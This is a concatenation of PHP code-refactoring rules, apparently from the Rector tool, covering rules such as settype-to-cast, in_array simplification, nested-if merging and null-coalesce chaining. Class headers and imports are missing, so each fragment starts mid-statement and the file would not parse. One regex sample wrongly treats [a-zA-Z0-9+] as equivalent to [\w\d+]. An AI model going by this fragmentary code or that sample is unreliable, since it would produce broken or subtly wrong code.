(!$this->isName($node, 'sprintf')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (\count($node->getArgs()) !== 2) { return null; } $firstArg = $node->getArgs()[0]; $maskArgument = $firstArg->value; if (!$maskArgument instanceof String_) { return null; } if ($maskArgument->value !== '%s') { return null; } $secondArg = $node->getArgs()[1]; $valueArgument = $secondArg->value; $valueType = $this->getType($valueArgument); if (!$valueType->isString()->yes()) { return null; } return $valueArgument; } } > */ private const TYPE_TO_CAST = ['array' => Array_::class, 'bool' => Bool_::class, 'boolean' => Bool_::class, 'double' => Double::class, 'float' => Double::class, 'int' => Int_::class, 'integer' => Int_::class, 'object' => Object_::class, 'string' => String_::class]; /** * @var string */ private const IS_ARG_VALUE_ITEM_SET_TYPE = 'is_arg_value_item_set_type'; public function __construct(ValueResolver $valueResolver) { $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes settype() to (type) where possible', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run($foo) { settype($foo, 'string'); return settype($foo, 'integer'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($foo) { $foo = (string) $foo; return (int) $foo; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class, Expression::class, Assign::class, ArrayItem::class, Arg::class]; } /** * @param FuncCall|Expression|Assign|Expr\ArrayItem|Node\Arg $node * @return null|int|\PhpParser\Node\Stmt\Expression|\PhpParser\Node\Expr\Assign|\PhpParser\Node\Expr\Cast */ public function refactor(Node $node) { if ($node instanceof Arg || $node instanceof ArrayItem) { if ($this->isSetTypeFuncCall($node->value)) { $node->value->setAttribute(self::IS_ARG_VALUE_ITEM_SET_TYPE, \true); } return null; } if ($node instanceof Assign) { if (!$this->isSetTypeFuncCall($node->expr)) { return null; } return NodeTraverser::DONT_TRAVERSE_CHILDREN; } if ($node instanceof Expression) { if (!$node->expr instanceof FuncCall) { return null; } $assignOrCast = $this->refactorFuncCall($node->expr, \true); if (!$assignOrCast instanceof Expr) { return null; } return new Expression($assignOrCast); } return $this->refactorFuncCall($node, \false); } /** * @return \PhpParser\Node\Expr\Assign|null|\PhpParser\Node\Expr\Cast */ private function refactorFuncCall(FuncCall $funcCall, bool $isStandaloneExpression) { if (!$this->isSetTypeFuncCall($funcCall)) { return null; } if ($funcCall->isFirstClassCallable()) { return null; } if ($funcCall->getAttribute(self::IS_ARG_VALUE_ITEM_SET_TYPE) === \true) { return null; } $typeValue = $this->valueResolver->getValue($funcCall->getArgs()[1]->value); if (!\is_string($typeValue)) { return null; } $typeValue = \strtolower($typeValue); $variable = $funcCall->getArgs()[0]->value; if (isset(self::TYPE_TO_CAST[$typeValue])) { $castClass = self::TYPE_TO_CAST[$typeValue]; $castNode = new $castClass($variable); if (!$isStandaloneExpression) { return $castNode; } // bare expression? → assign return new Assign($variable, $castNode); } if ($typeValue === 'null') { return new Assign($variable, $this->nodeFactory->createNull()); } return null; } private function isSetTypeFuncCall(Expr $expr) : bool { // skip assign of settype() calls if (!$expr instanceof FuncCall) { return \false; } return $this->isName($expr, 'settype'); } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'count')) { return null; } if ($node->isFirstClassCallable()) { return null; } $firstArg = $node->getArgs()[0]; if (!$firstArg->value instanceof FuncCall) { return null; } /** @var FuncCall $innerFuncCall */ $innerFuncCall = $firstArg->value; if (!$this->isName($innerFuncCall, 'func_get_args')) { return null; } return $this->nodeFactory->createFuncCall('func_num_args'); } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'in_array')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (!isset($node->args[1])) { return null; } if (!$node->args[1] instanceof Arg) { return null; } if (!$node->args[1]->value instanceof FuncCall) { return null; } /** @var FuncCall $innerFunCall */ $innerFunCall = $node->args[1]->value; if (!$this->isName($innerFunCall, 'array_values')) { return null; } if (!isset($node->getArgs()[0])) { return null; } $node->args[1] = $innerFunCall->getArgs()[0]; return $node; } } */ private const COMPLEX_PATTERN_TO_SIMPLE = ['[0-9]' => '\\d', '[a-zA-Z0-9_]' => '\\w', '[A-Za-z0-9_]' => '\\w', '[0-9a-zA-Z_]' => '\\w', '[0-9A-Za-z_]' => '\\w', '[\\r\\n\\t\\f\\v ]' => '\\s']; public function __construct(RegexPatternDetector $regexPatternDetector) { $this->regexPatternDetector = $regexPatternDetector; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify regex pattern to known ranges', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run($value) { preg_match('#[a-zA-Z0-9+]#', $value); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run($value) { preg_match('#[\w\d+]#', $value); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [String_::class]; } /** * @param String_ $node */ public function refactor(Node $node) : ?Node { if (!$this->regexPatternDetector->isRegexPattern($node->value)) { return null; } foreach (self::COMPLEX_PATTERN_TO_SIMPLE as $complexPattern => $simple) { $originalValue = $node->value; $simplifiedValue = Strings::replace($node->value, '#' . \preg_quote($complexPattern, '#') . '#', $simple); if ($originalValue === $simplifiedValue) { continue; } if (\strpos($originalValue, '[^' . $complexPattern) !== \false) { continue; } if ($complexPattern === $node->value) { continue; } $node->value = $simplifiedValue; return $node; } return null; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'strpos')) { return null; } if ($node->isFirstClassCallable()) { return null; } $args = $node->getArgs(); if (!isset($args[0], $args[1])) { return null; } $firstArg = $args[0]; if (!$firstArg->value instanceof FuncCall) { return null; } /** @var FuncCall $innerFuncCall */ $innerFuncCall = $firstArg->value; if (!$this->isName($innerFuncCall, 'strtolower')) { return null; } $secondArg = $args[1]; if (!$secondArg->value instanceof String_) { return null; } if (Strings::match($secondArg->value->value, self::UPPERCASE_REGEX) !== null) { return null; } // pop 1 level up $node->args[0] = $innerFuncCall->getArgs()[0]; $node->name = new Name('stripos'); return $node; } } > */ public function getNodeTypes() : array { return [BooleanNot::class, FuncCall::class]; } /** * @param BooleanNot|FuncCall $node */ public function refactor(Node $node) : ?Node { if ($node instanceof BooleanNot) { if (!$node->expr instanceof FuncCall) { return null; } $firstArrayItem = $this->resolveArrayItem($node->expr); if (!$firstArrayItem instanceof ArrayItem) { return null; } return $this->processCompare($firstArrayItem, $node->expr, \true); } $firstArrayItem = $this->resolveArrayItem($node); if (!$firstArrayItem instanceof ArrayItem) { return null; } return $this->processCompare($firstArrayItem, $node); } private function resolveArrayItem(FuncCall $funcCall) : ?ArrayItem { if (!$this->isName($funcCall, 'in_array')) { return null; } if ($funcCall->isFirstClassCallable()) { return null; } if (!isset($funcCall->args[1])) { return null; } if (!$funcCall->args[1] instanceof Arg) { return null; } if (!$funcCall->args[1]->value instanceof Array_) { return null; } /** @var Array_ $arrayNode */ $arrayNode = $funcCall->args[1]->value; if (\count($arrayNode->items) !== 1) { return null; } $firstArrayItem = $arrayNode->items[0]; if (!$firstArrayItem instanceof ArrayItem) { return null; } if ($firstArrayItem->unpack) { return null; } if (!isset($funcCall->getArgs()[0])) { return null; } return $firstArrayItem; } private function processCompare(ArrayItem $firstArrayItem, FuncCall $funcCall, bool $isNegated = \false) : Node { $firstArrayItemValue = $firstArrayItem->value; $firstArg = $funcCall->getArgs()[0]; // strict if (isset($funcCall->getArgs()[2])) { return $isNegated ? new NotIdentical($firstArg->value, $firstArrayItemValue) : new Identical($firstArg->value, $firstArrayItemValue); } return $isNegated ? new NotEqual($firstArg->value, $firstArrayItemValue) : new Equal($firstArg->value, $firstArrayItemValue); } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if ($node->isFirstClassCallable()) { return null; } if (!$this->isName($node, 'sprintf')) { return null; } if (\count($node->getArgs()) > 1) { return null; } $firstArg = $node->getArgs()[0]; if ($firstArg->unpack) { return null; } return $firstArg->value; } } assignAndBinaryMap = $assignAndBinaryMap; $this->variableAnalyzer = $variableAnalyzer; $this->callAnalyzer = $callAnalyzer; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function configure(array $configuration) : void { $this->onlyDirectAssign = $configuration[self::ONLY_DIRECT_ASSIGN] ?? \false; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Removes useless variable assigns', [new ConfiguredCodeSample( <<<'CODE_SAMPLE' function () { $a = true; return $a; }; CODE_SAMPLE , <<<'CODE_SAMPLE' function () { return true; }; CODE_SAMPLE , // default [self::ONLY_DIRECT_ASSIGN => \true] ), new ConfiguredCodeSample(<<<'CODE_SAMPLE' function () { $a = 'Hello, '; $a .= 'World!'; return $a; }; CODE_SAMPLE , <<<'CODE_SAMPLE' function () { $a = 'Hello, '; return $a . 'World!'; }; CODE_SAMPLE , [self::ONLY_DIRECT_ASSIGN => \false])]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { $stmts = $node->stmts; if ($stmts === null) { return null; } foreach ($stmts as $key => $stmt) { // has previous node? if (!isset($stmts[$key - 1])) { continue; } if (!$stmt instanceof Return_) { continue; } $previousStmt = $stmts[$key - 1]; if ($this->shouldSkipStmt($stmt, $previousStmt)) { return null; } if ($this->hasSomeComment($previousStmt)) { return null; } if ($this->isReturnWithVarAnnotation($stmt)) { return null; } /** @var Expression $previousStmt */ $assign = $previousStmt->expr; return $this->processSimplifyUselessVariable($node, $stmt, $assign, $key); } return null; } /** * @param \PhpParser\Node\Expr\Assign|\PhpParser\Node\Expr\AssignOp $assign */ private function processSimplifyUselessVariable(StmtsAwareInterface $stmtsAware, Return_ $return, $assign, int $key) : ?StmtsAwareInterface { if (!$assign instanceof Assign) { $binaryClass = $this->assignAndBinaryMap->getAlternative($assign); if ($binaryClass === null) { return null; } $return->expr = new $binaryClass($assign->var, $assign->expr); } else { $return->expr = $assign->expr; } unset($stmtsAware->stmts[$key - 1]); return $stmtsAware; } private function shouldSkipStmt(Return_ $return, Stmt $previousStmt) : bool { if (!$return->expr instanceof Variable) { return \true; } if ($return->getAttribute(AttributeKey::IS_BYREF_RETURN) === \true) { return \true; } if (!$previousStmt instanceof Expression) { return \true; } // is variable part of single assign $previousNode = $previousStmt->expr; if (!$previousNode instanceof AssignOp && !$previousNode instanceof Assign) { return \true; } if ($this->onlyDirectAssign && $previousNode instanceof AssignOp) { return \true; } $variable = $return->expr; // is the same variable if (!$this->nodeComparator->areNodesEqual($previousNode->var, $variable)) { return \true; } if ($this->variableAnalyzer->isStaticOrGlobal($variable)) { return \true; } /** @var Variable $previousVar */ $previousVar = $previousNode->var; if ($this->callAnalyzer->isNewInstance($previousVar)) { return \true; } return $this->variableAnalyzer->isUsedByReference($variable); } private function hasSomeComment(Stmt $stmt) : bool { if ($stmt->getComments() !== []) { return \true; } return $stmt->getDocComment() instanceof Doc; } private function isReturnWithVarAnnotation(Return_ $return) : bool { $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($return); return !$phpDocInfo->getVarType() instanceof MixedType; } } > */ public function getNodeTypes() : array { return [Identical::class, BooleanNot::class]; } /** * @param Identical|BooleanNot $node */ public function refactor(Node $node) : ?Node { if ($node instanceof Identical) { return $this->processIdentical($node); } if ($node->expr instanceof Identical) { $identical = $node->expr; $leftType = $this->getType($identical->left); if (!$leftType->isBoolean()->yes()) { return null; } $rightType = $this->getType($identical->right); if (!$rightType->isBoolean()->yes()) { return null; } return new NotIdentical($identical->left, $identical->right); } return null; } private function processIdentical(Identical $identical) : ?NotIdentical { $leftType = $this->getType($identical->left); if (!$leftType->isBoolean()->yes()) { return null; } $rightType = $this->getType($identical->right); if (!$rightType->isBoolean()->yes()) { return null; } if ($identical->left instanceof BooleanNot) { return new NotIdentical($identical->left->expr, $identical->right); } return null; } } nullableTypeAnalyzer = $nullableTypeAnalyzer; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Flip type control from null compare to use exclusive instanceof object', [new CodeSample(<<<'CODE_SAMPLE' function process(?DateTime $dateTime) { if ($dateTime === null) { return; } } CODE_SAMPLE , <<<'CODE_SAMPLE' function process(?DateTime $dateTime) { if (! $dateTime instanceof DateTime) { return; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Identical::class, NotIdentical::class]; } /** * @param Identical|NotIdentical $node */ public function refactor(Node $node) : ?Node { $expr = $this->matchNullComparedExpr($node); if (!$expr instanceof Expr) { return null; } $nullableObjectType = $this->nullableTypeAnalyzer->resolveNullableObjectType($expr); if (!$nullableObjectType instanceof ObjectType) { return null; } return $this->processConvertToExclusiveType($nullableObjectType, $expr, $node); } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical $binaryOp * @return \PhpParser\Node\Expr\BooleanNot|\PhpParser\Node\Expr\Instanceof_ */ private function processConvertToExclusiveType(ObjectType $objectType, Expr $expr, $binaryOp) { $fullyQualifiedType = $objectType instanceof ShortenedObjectType ? $objectType->getFullyQualifiedName() : $objectType->getClassName(); $instanceof = new Instanceof_($expr, new FullyQualified($fullyQualifiedType)); if ($binaryOp instanceof NotIdentical) { return $instanceof; } return new BooleanNot($instanceof); } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical $binaryOp */ private function matchNullComparedExpr($binaryOp) : ?Expr { if ($this->valueResolver->isNull($binaryOp->left)) { return $binaryOp->right; } if ($this->valueResolver->isNull($binaryOp->right)) { return $binaryOp->left; } return null; } } binaryOpManipulator = $binaryOpManipulator; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify array_search to in_array', [new CodeSample('array_search("searching", $array) !== false;', 'in_array("searching", $array);'), new CodeSample('array_search("searching", $array, true) !== false;', 'in_array("searching", $array, true);')]); } /** * @return array> */ public function getNodeTypes() : array { return [Identical::class, NotIdentical::class]; } /** * @param Identical|NotIdentical $node */ public function refactor(Node $node) : ?Node { $twoNodeMatch = $this->binaryOpManipulator->matchFirstAndSecondConditionNode($node, function (Node $node) : bool { if (!$node instanceof FuncCall) { return \false; } return $this->nodeNameResolver->isName($node, 'array_search'); }, function (Node $node) : bool { return $node instanceof Expr && $this->valueResolver->isFalse($node); }); if (!$twoNodeMatch instanceof TwoNodeMatch) { return null; } /** @var FuncCall $funcCallExpr */ $funcCallExpr = $twoNodeMatch->getFirstExpr(); $inArrayFuncCall = $this->nodeFactory->createFuncCall('in_array', $funcCallExpr->args); if ($node instanceof Identical) { return new BooleanNot($inArrayFuncCall); } return $inArrayFuncCall; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify bool value compare to true or false', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run(bool $value, string $items) { $match = in_array($value, $items, TRUE) === TRUE; $match = in_array($value, $items, TRUE) !== FALSE; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(bool $value, string $items) { $match = in_array($value, $items, TRUE); $match = in_array($value, $items, TRUE); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Identical::class, NotIdentical::class]; } /** * @param Identical|NotIdentical $node */ public function refactor(Node $node) : ?Node { if ($this->isBooleanButNotTrueAndFalse($node->left)) { return $this->processBoolTypeToNotBool($node, $node->left, $node->right); } if ($this->isBooleanButNotTrueAndFalse($node->right)) { return $this->processBoolTypeToNotBool($node, $node->right, $node->left); } return null; } private function processBoolTypeToNotBool(Node $node, Expr $leftExpr, Expr $rightExpr) : ?Expr { if ($node instanceof Identical) { return $this->refactorIdentical($leftExpr, $rightExpr); } if ($node instanceof NotIdentical) { return $this->refactorNotIdentical($leftExpr, $rightExpr); } return null; } private function refactorIdentical(Expr $leftExpr, Expr $rightExpr) : ?Expr { if ($this->valueResolver->isTrue($rightExpr)) { return $leftExpr; } // prevent double negation !! if (!$this->valueResolver->isFalse($rightExpr)) { return null; } if (!$leftExpr instanceof BooleanNot) { return null; } return $leftExpr->expr; } private function refactorNotIdentical(Expr $leftExpr, Expr $rightExpr) : ?Expr { if ($this->valueResolver->isFalse($rightExpr)) { return $leftExpr; } if ($this->valueResolver->isTrue($rightExpr)) { return new BooleanNot($leftExpr); } return null; } private function isBooleanButNotTrueAndFalse(Expr $expr) : bool { if ($this->valueResolver->isTrueOrFalse($expr)) { return \false; } return $this->nodeTypeResolver->getNativeType($expr)->isBoolean()->yes(); } } assignAndBinaryMap = $assignAndBinaryMap; $this->binaryOpManipulator = $binaryOpManipulator; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Simplify conditions', [new CodeSample("if (! (\$foo !== 'bar')) {...", "if (\$foo === 'bar') {...")]); } /** * @return array> */ public function getNodeTypes() : array { return [BooleanNot::class, Identical::class]; } /** * @param BooleanNot|Identical $node */ public function refactor(Node $node) : ?Node { if ($node instanceof BooleanNot) { return $this->processBooleanNot($node); } return $this->processIdenticalAndNotIdentical($node); } private function processBooleanNot(BooleanNot $booleanNot) : ?Node { if (!$booleanNot->expr instanceof BinaryOp) { return null; } if ($this->shouldSkip($booleanNot->expr)) { return null; } return $this->createInversedBooleanOp($booleanNot->expr); } private function processIdenticalAndNotIdentical(Identical $identical) : ?Node { $twoNodeMatch = $this->binaryOpManipulator->matchFirstAndSecondConditionNode($identical, static function (Node $node) : bool { return $node instanceof Identical || $node instanceof NotIdentical; }, function (Node $node) : bool { return $node instanceof Expr && $this->valueResolver->isTrueOrFalse($node); }); if (!$twoNodeMatch instanceof TwoNodeMatch) { return $twoNodeMatch; } /** @var Identical|NotIdentical $firstExpr */ $firstExpr = $twoNodeMatch->getFirstExpr(); $otherExpr = $twoNodeMatch->getSecondExpr(); if ($this->valueResolver->isFalse($otherExpr)) { return $this->createInversedBooleanOp($firstExpr); } return $firstExpr; } /** * Skip too nested binary || binary > binary combinations */ private function shouldSkip(BinaryOp $binaryOp) : bool { if ($binaryOp instanceof BooleanOr) { return \true; } if ($binaryOp->left instanceof BinaryOp) { return \true; } return $binaryOp->right instanceof BinaryOp; } private function createInversedBooleanOp(BinaryOp $binaryOp) : ?BinaryOp { $inversedBinaryClass = $this->assignAndBinaryMap->getInversed($binaryOp); if ($inversedBinaryClass === null) { return null; } return new $inversedBinaryClass($binaryOp->left, $binaryOp->right); } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes strlen comparison to 0 to direct empty string compare', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run(string $value) { $empty = strlen($value) === 0; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(string $value) { $empty = $value === ''; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Identical::class]; } /** * @param Identical $node */ public function refactor(Node $node) : ?Node { if ($node->left instanceof FuncCall) { return $this->processIdentical($node->right, $node->left); } if ($node->right instanceof FuncCall) { return $this->processIdentical($node->left, $node->right); } return null; } private function processIdentical(Expr $expr, FuncCall $funcCall) : ?Identical { if (!$this->isName($funcCall, 'strlen')) { return null; } if ($funcCall->isFirstClassCallable()) { return null; } if (!$this->valueResolver->isValue($expr, 0)) { return null; } $variable = $funcCall->getArgs()[0]->value; // Needs string cast if variable type is not string // see https://github.com/rectorphp/rector/issues/6700 $isStringType = $this->nodeTypeResolver->getNativeType($variable)->isString()->yes(); if (!$isStringType) { return new Identical(new Expr\Cast\String_($variable), new String_('')); } return new Identical($variable, new String_('')); } } commentsMerger = $commentsMerger; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Merges nested if statements', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { if ($cond1) { if ($cond2) { return 'foo'; } } } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { if ($cond1 && $cond2) { return 'foo'; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkip($node)) { return null; } /** @var If_ $subIf */ $subIf = $node->stmts[0]; if ($this->hasVarTag($subIf)) { return null; } $node->cond->setAttribute(AttributeKey::ORIGINAL_NODE, null); $node->cond = new BooleanAnd($node->cond, $subIf->cond); $node->stmts = $subIf->stmts; $this->commentsMerger->keepComments($node, [$subIf]); return $node; } private function shouldSkip(If_ $if) : bool { if ($if->else instanceof Else_) { return \true; } if (\count($if->stmts) !== 1) { return \true; } if ($if->elseifs !== []) { return \true; } if (!$if->stmts[0] instanceof If_) { return \true; } if ($if->stmts[0]->else instanceof Else_) { return \true; } return (bool) $if->stmts[0]->elseifs; } private function hasVarTag(If_ $if) : bool { $subIfPhpDocInfo = $this->phpDocInfoFactory->createFromNode($if); if (!$subIfPhpDocInfo instanceof PhpDocInfo) { return \false; } return $subIfPhpDocInfo->getVarTagValueNode() instanceof VarTagValueNode; } } > */ public function getNodeTypes() : array { return [If_::class, ElseIf_::class, Else_::class]; } /** * @param If_|ElseIf_|Else_ $node */ public function refactor(Node $node) : ?Node { if ($this->isBareNewNode($node)) { return null; } $oldTokens = $this->file->getOldTokens(); if ($this->isIfConditionFollowedByOpeningCurlyBracket($node, $oldTokens)) { return null; } // invoke reprint with brackets $node->setAttribute(AttributeKey::ORIGINAL_NODE, null); return $node; } /** * @param mixed[] $oldTokens * @param \PhpParser\Node\Stmt\If_|\PhpParser\Node\Stmt\ElseIf_|\PhpParser\Node\Stmt\Else_ $if */ private function isIfConditionFollowedByOpeningCurlyBracket($if, array $oldTokens) : bool { $startStmt = \current($if->stmts); if (!$startStmt instanceof Stmt) { return \true; } $startTokenPos = $if->getStartTokenPos(); $i = $startStmt->getStartTokenPos() - 1; $condEndTokenPos = $if instanceof Else_ ? $startTokenPos : $if->cond->getEndTokenPos(); while (isset($oldTokens[$i])) { if ($i === $condEndTokenPos) { return \false; } if (\in_array($oldTokens[$i], ['{', ':'], \true)) { // all good return \true; } if ($i === $startTokenPos) { return \false; } --$i; } return \false; } /** * @param \PhpParser\Node\Stmt\If_|\PhpParser\Node\Stmt\ElseIf_|\PhpParser\Node\Stmt\Else_ $if */ private function isBareNewNode($if) : bool { $originalNode = $if->getAttribute(AttributeKey::ORIGINAL_NODE); if (!$originalNode instanceof Node) { return \true; } // not defined, probably new if return $if->getStartTokenPos() === -1; } } ifManipulator = $ifManipulator; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change multiple null compares to ?? queue', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { if ($this->orderItem !== null) { return $this->orderItem; } if ($this->orderItemUnit !== null) { return $this->orderItemUnit; } return null; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { return $this->orderItem ?? $this->orderItemUnit; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $coalescingExprs = []; $ifKeys = []; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof If_) { continue; } $comparedExpr = $this->ifManipulator->matchIfNotNullReturnValue($stmt); if (!$comparedExpr instanceof Expr) { continue; } if (!isset($node->stmts[$key + 1])) { return null; } $coalescingExprs[] = $comparedExpr; $ifKeys[] = $key; } // at least 2 coalescing nodes are needed if (\count($coalescingExprs) < 2) { return null; } // remove last return null $appendExpr = null; $hasChanged = \false; $originalStmts = $node->stmts; foreach ($node->stmts as $key => $stmt) { if (\in_array($key, $ifKeys, \true)) { unset($node->stmts[$key]); $hasChanged = \true; continue; } if (!$hasChanged) { continue; } if ($stmt instanceof Throw_) { unset($node->stmts[$key]); $appendExpr = new ExprThrow_($stmt->expr); continue; } if (!$this->isReturnNull($stmt)) { if ($stmt instanceof Return_ && $stmt->expr instanceof Expr) { unset($node->stmts[$key]); $appendExpr = $stmt->expr; continue; } $node->stmts = $originalStmts; return $node; } unset($node->stmts[$key]); } $node->stmts[] = $this->createCealesceReturn($coalescingExprs, $appendExpr); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULL_COALESCE; } private function isReturnNull(Stmt $stmt) : bool { if (!$stmt instanceof Return_) { return \false; } if (!$stmt->expr instanceof Expr) { return \false; } return $this->valueResolver->isNull($stmt->expr); } /** * @param Expr[] $coalescingExprs */ private function createCealesceReturn(array $coalescingExprs, ?Expr $appendExpr) : Return_ { /** @var Expr $leftExpr */ $leftExpr = \array_shift($coalescingExprs); /** @var Expr $rightExpr */ $rightExpr = \array_shift($coalescingExprs); $coalesce = new Coalesce($leftExpr, $rightExpr); foreach ($coalescingExprs as $coalescingExpr) { $coalesce = new Coalesce($coalesce, $coalescingExpr); } if ($appendExpr instanceof Expr) { return new Return_(new Coalesce($coalesce, $appendExpr)); } return new Return_($coalesce); } } stringTypeAnalyzer = $stringTypeAnalyzer; $this->arrayTypeAnalyzer = $arrayTypeAnalyzer; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Make if conditions more explicit', [new CodeSample(<<<'CODE_SAMPLE' final class SomeController { public function run($items) { if (!count($items)) { return 'no items'; } } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeController { public function run($items) { if (count($items) === 0) { return 'no items'; } } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class, ElseIf_::class, Ternary::class]; } /** * @param If_|ElseIf_|Ternary $node * @return null|Stmt[]|Node */ public function refactor(Node $node) { // skip short ternary if ($node instanceof Ternary && !$node->if instanceof Expr) { return null; } if ($node->cond instanceof BooleanNot) { $conditionNode = $node->cond->expr; $isNegated = \true; } else { $conditionNode = $node->cond; $isNegated = \false; } if ($conditionNode instanceof Bool_) { return null; } $conditionStaticType = $this->nodeTypeResolver->getNativeType($conditionNode); if ($conditionStaticType instanceof MixedType || $conditionStaticType->isBoolean()->yes()) { return null; } $binaryOp = $this->resolveNewConditionNode($conditionNode, $isNegated); if (!$binaryOp instanceof BinaryOp) { return null; } if ($node instanceof If_ && $node->cond instanceof Assign && $binaryOp->left instanceof NotIdentical && $binaryOp->right instanceof NotIdentical) { $expression = new Expression($node->cond); $binaryOp->left->left = $node->cond->var; $binaryOp->right->left = $node->cond->var; $node->cond = $binaryOp; return [$expression, $node]; } $node->cond = $binaryOp; return $node; } private function resolveNewConditionNode(Expr $expr, bool $isNegated) : ?BinaryOp { if ($expr instanceof FuncCall && $this->nodeNameResolver->isName($expr, 'count')) { return $this->resolveCount($isNegated, $expr); } if ($this->arrayTypeAnalyzer->isArrayType($expr)) { return $this->resolveArray($isNegated, $expr); } if ($this->stringTypeAnalyzer->isStringOrUnionStringOnlyType($expr)) { return $this->resolveString($isNegated, $expr); } $exprType = $this->getType($expr); if ($exprType->isInteger()->yes()) { return $this->resolveInteger($isNegated, $expr); } if ($exprType->isFloat()->yes()) { return $this->resolveFloat($isNegated, $expr); } if ($this->nodeTypeResolver->isNullableTypeOfSpecificType($expr, ObjectType::class)) { return $this->resolveNullable($isNegated, $expr); } return null; } /** * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\Greater|null */ private function resolveCount(bool $isNegated, FuncCall $funcCall) { if ($funcCall->isFirstClassCallable()) { return null; } $countedType = $this->getType($funcCall->getArgs()[0]->value); if ($countedType->isArray()->yes()) { return null; } $lNumber = new LNumber(0); // compare === 0, assumption if ($isNegated) { return new Identical($funcCall, $lNumber); } return new Greater($funcCall, $lNumber); } /** * @return Identical|NotIdentical|null */ private function resolveArray(bool $isNegated, Expr $expr) : ?BinaryOp { if (!$expr instanceof Variable) { return null; } $array = new Array_([]); // compare === [] if ($isNegated) { return new Identical($expr, $array); } return new NotIdentical($expr, $array); } /** * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BinaryOp\BooleanAnd|\PhpParser\Node\Expr\BinaryOp\BooleanOr */ private function resolveString(bool $isNegated, Expr $expr) { $emptyString = new String_(''); $identical = $this->resolveIdentical($expr, $isNegated, $emptyString); $value = $this->valueResolver->getValue($expr); // unknown value. may be from parameter if ($value === null) { return $this->resolveZeroIdenticalstring($identical, $isNegated, $expr); } $length = \strlen((string) $value); if ($length === 1) { $zeroString = new String_('0'); return $this->resolveIdentical($expr, $isNegated, $zeroString); } return $identical; } /** * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical */ private function resolveIdentical(Expr $expr, bool $isNegated, String_ $string) { /** * // compare === '' * * @var Identical|NotIdentical $identical */ $identical = $isNegated ? new Identical($expr, $string) : new NotIdentical($expr, $string); return $identical; } /** * @param \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\NotIdentical $identical * @return \PhpParser\Node\Expr\BinaryOp\BooleanAnd|\PhpParser\Node\Expr\BinaryOp\BooleanOr */ private function resolveZeroIdenticalstring($identical, bool $isNegated, Expr $expr) { $string = new String_('0'); $zeroIdentical = $isNegated ? new Identical($expr, $string) : new NotIdentical($expr, $string); return $isNegated ? new BooleanOr($identical, $zeroIdentical) : new BooleanAnd($identical, $zeroIdentical); } /** * @return 